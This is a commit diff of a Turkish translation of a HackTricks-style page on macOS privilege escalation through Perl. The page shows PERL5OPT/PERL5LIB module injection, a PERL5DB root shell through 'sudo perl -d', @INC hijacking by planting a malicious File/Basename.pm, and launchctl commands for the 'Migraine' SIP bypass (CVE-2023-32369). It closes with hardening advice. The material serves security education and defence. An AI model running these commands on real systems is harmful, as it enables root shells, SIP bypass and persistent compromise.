Translated ['src/macos-hardening/macos-security-and-privilege-escalation

This commit is contained in:
Translator 2025-07-30 16:13:32 +00:00
parent 8d474089cf
commit 6dcabb7cc6

View File

@ -4,8 +4,7 @@
## `PERL5OPT` & `PERL5LIB` ortam değişkeni aracılığıyla
PERL5OPT ortam değişkenini kullanarak perl'in rastgele komutlar çalıştırması sağlanabilir.\
Örneğin, bu scripti oluşturun:
Ortam değişkeni **`PERL5OPT`** kullanarak, **Perl**'ün yorumlayıcı başladığında (hedef scriptin ilk satırı analiz edilmeden **önce** bile) rastgele komutlar çalıştırması mümkündür. Örneğin, bu scripti oluşturun:
```perl:test.pl
#!/usr/bin/perl
print "Hello from the Perl script!\n";
@ -22,17 +21,30 @@ package pmod;
system('whoami');
1; # Modules must return a true value
```
Ve ardından env değişkenlerini kullanın:
Ve ardından modülün otomatik olarak bulunması ve yüklenmesi için çevresel değişkenleri kullanın:
```bash
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
PERL5LIB=/tmp/ PERL5OPT=-Mpmod perl victim.pl
```
## Bağımlılıklar aracılığıyla
### Diğer ilginç ortam değişkenleri
Perl'in çalıştığı bağımlılık klasör sırasını listelemek mümkündür:
* **`PERL5DB`** yorumlayıcı **`-d`** (hata ayıklayıcı) bayrağı ile başlatıldığında, `PERL5DB`'nin içeriği hata ayıklayıcı bağlamında Perl kodu olarak çalıştırılır. Hem ortamı **hem de** ayrıcalıklı bir Perl sürecinin komut satırı bayraklarını etkileyebiliyorsanız, şöyle bir şey yapabilirsiniz:
```bash
export PERL5DB='system("/bin/zsh")'
sudo perl -d /usr/bin/some_admin_script.pl # scripti çalıştırmadan önce bir shell açar
```
* **`PERL5SHELL`** Windows'ta bu değişken, Perl'in bir shell açması gerektiğinde hangi shell yürütülebilir dosyasını kullanacağını kontrol eder. Bu, macOS'ta ilgili olmadığı için burada yalnızca tamlık açısından belirtilmiştir.
`PERL5DB` bayrağını gerektirse de, bu bayrak açık hata ayıklama için etkinleştirildiğinde *root* olarak çalıştırılan bakım veya yükleyici betikleri bulmak yaygındır, bu da değişkeni geçerli bir yükseltme vektörü haline getirir.
## Bağımlılıklar aracılığıyla (@INC istismarı)
Perl'in arayacağı dahil etme yolunu listelemek mümkündür (**`@INC`**) çalıştırarak:
```bash
perl -e 'print join("\n", @INC)'
```
Bu, şöyle bir şey döndürecektir:
macOS 13/14'te tipik çıktı şöyle görünür:
```bash
/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
@ -44,17 +56,44 @@ Bu, şöyle bir şey döndürecektir:
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
```
Bazı döndürülen klasörler hiç mevcut değil, ancak **`/Library/Perl/5.30`** **mevcuttur**, **SIP** tarafından **korunmamaktadır** ve **SIP** tarafından **korunan** klasörlerden **öncedir**. Bu nedenle, biri o klasörü kötüye kullanarak oraya script bağımlılıkları ekleyebilir, böylece yüksek ayrıcalıklı bir Perl scripti bunu yükleyebilir.
Bazı döndürülen klasörler hiç mevcut değil, ancak **`/Library/Perl/5.30`** mevcut, SIP tarafından *korunmuyor* ve SIP ile korunan klasörlerden *önce* yer alıyor. Bu nedenle, eğer *root* olarak yazabiliyorsanız, o modülü içe aktaran herhangi bir ayrıcalıklı script tarafından *öncelikli olarak* yüklenecek kötü niyetli bir modül (örneğin, `File/Basename.pm`) bırakabilirsiniz.
> [!WARNING]
> Ancak, o klasöre yazmak için **root olmanız gerektiğini** unutmayın ve günümüzde bu **TCC istemi** ile karşılaşacaksınız:
> `/Library/Perl` içine yazmak için hala **root** olmanız gerekiyor ve macOS, yazma işlemini gerçekleştiren süreç için *Tam Disk Erişimi* isteyen bir **TCC** istemi gösterecektir.
<figure><img src="../../../images/image (28).png" alt="" width="244"><figcaption></figcaption></figure>
Örneğin, bir script **`use File::Basename;`** ifadesini içe aktarıyorsa, saldırgan kontrolündeki kodu içeren `/Library/Perl/5.30/File/Basename.pm` oluşturmak mümkün olacaktır.
Örneğin, bir script **`use File::Basename;`** ifadesini kullanıyorsa, `/Library/Perl/5.30/File/Basename.pm` oluşturmak ve keyfi kod çalıştırmak mümkün olacaktır.
## SIP atlatma, Göç Asistanı aracılığıyla (CVE-2023-32369 “Migraine”)
## References
Mayıs 2023'te Microsoft, *root* bir saldırganın **Sistem Bütünlüğü Korumasını (SIP)** tamamen **atlatmasına** olanak tanıyan **CVE-2023-32369**'u, takma adıyla **Migraine** olarak açıkladı.
Zayıf nokta, **`systemmigrationd`** adlı, **`com.apple.rootless.install.heritable`** yetkisine sahip bir daemon'dur. Bu daemon tarafından başlatılan herhangi bir çocuk süreç, bu yetkiyi devralır ve dolayısıyla **SIP** kısıtlamalarının *dışında* çalışır.
- [https://www.youtube.com/watch?v=zxZesAN-TEk](https://www.youtube.com/watch?v=zxZesAN-TEk)
Araştırmacılar tarafından tanımlanan çocuklar arasında Apple imzalı yorumlayıcı da bulunmaktadır:
```
/usr/bin/perl /usr/libexec/migrateLocalKDC …
```
Çünkü Perl `PERL5OPT`'i (ve Bash `BASH_ENV`'i) dikkate alır, daemon'un *ortamını* zehirlemek, SIP'siz bir bağlamda keyfi yürütme elde etmek için yeterlidir:
```bash
# As root
launchctl setenv PERL5OPT '-Mwarnings;system("/private/tmp/migraine.sh")'
# Trigger a migration (or just wait systemmigrationd will eventually spawn perl)
open -a "Migration Assistant.app" # or programmatically invoke /System/Library/PrivateFrameworks/SystemMigration.framework/Resources/MigrationUtility
```
`migrateLocalKDC` çalıştığında, `/usr/bin/perl` kötü niyetli `PERL5OPT` ile başlar ve `/private/tmp/migraine.sh` dosyasını *SIP yeniden etkinleştirilmeden önce* çalıştırır. Bu scriptten, örneğin, bir yükü **`/System/Library/LaunchDaemons`** içine kopyalayabilir veya bir dosyayı **silinemez** hale getirmek için `com.apple.rootless` genişletilmiş niteliğini atayabilirsiniz.
Apple bu sorunu macOS **Ventura 13.4**, **Monterey 12.6.6** ve **Big Sur 11.7.7**'de düzeltti, ancak daha eski veya yamanmamış sistemler hala istismar edilebilir.
## Güçlendirme önerileri
1. **Tehlikeli değişkenleri temizleyin** ayrıcalıklı launchdaemons veya cron görevleri, temiz bir ortamda başlamalıdır (`launchctl unsetenv PERL5OPT`, `env -i`, vb.).
2. **Yorumlayıcıları root olarak çalıştırmaktan kaçının**; yalnızca kesinlikle gerekli olduğunda kullanın. Derlenmiş ikilileri kullanın veya yetkileri erken düşürün.
3. **`-T` (taint modu) ile satıcı scriptleri** kullanın, böylece Perl taint kontrolü etkinleştirildiğinde `PERL5OPT` ve diğer güvensiz anahtarları göz ardı eder.
4. **macOS'u güncel tutun** “Migraine” mevcut sürümlerde tamamen yamanmıştır.
## Referanslar
- Microsoft Security Blog “Yeni macOS güvenlik açığı, Migraine, Sistem Bütünlüğü Korumasını atlayabilir” (CVE-2023-32369), 30 Mayıs 2023.
- Hackyboiz “macOS SIP Atlatma (PERL5OPT & BASH_ENV) araştırması”, Mayıs 2025.
{{#include ../../../banners/hacktricks-training.md}}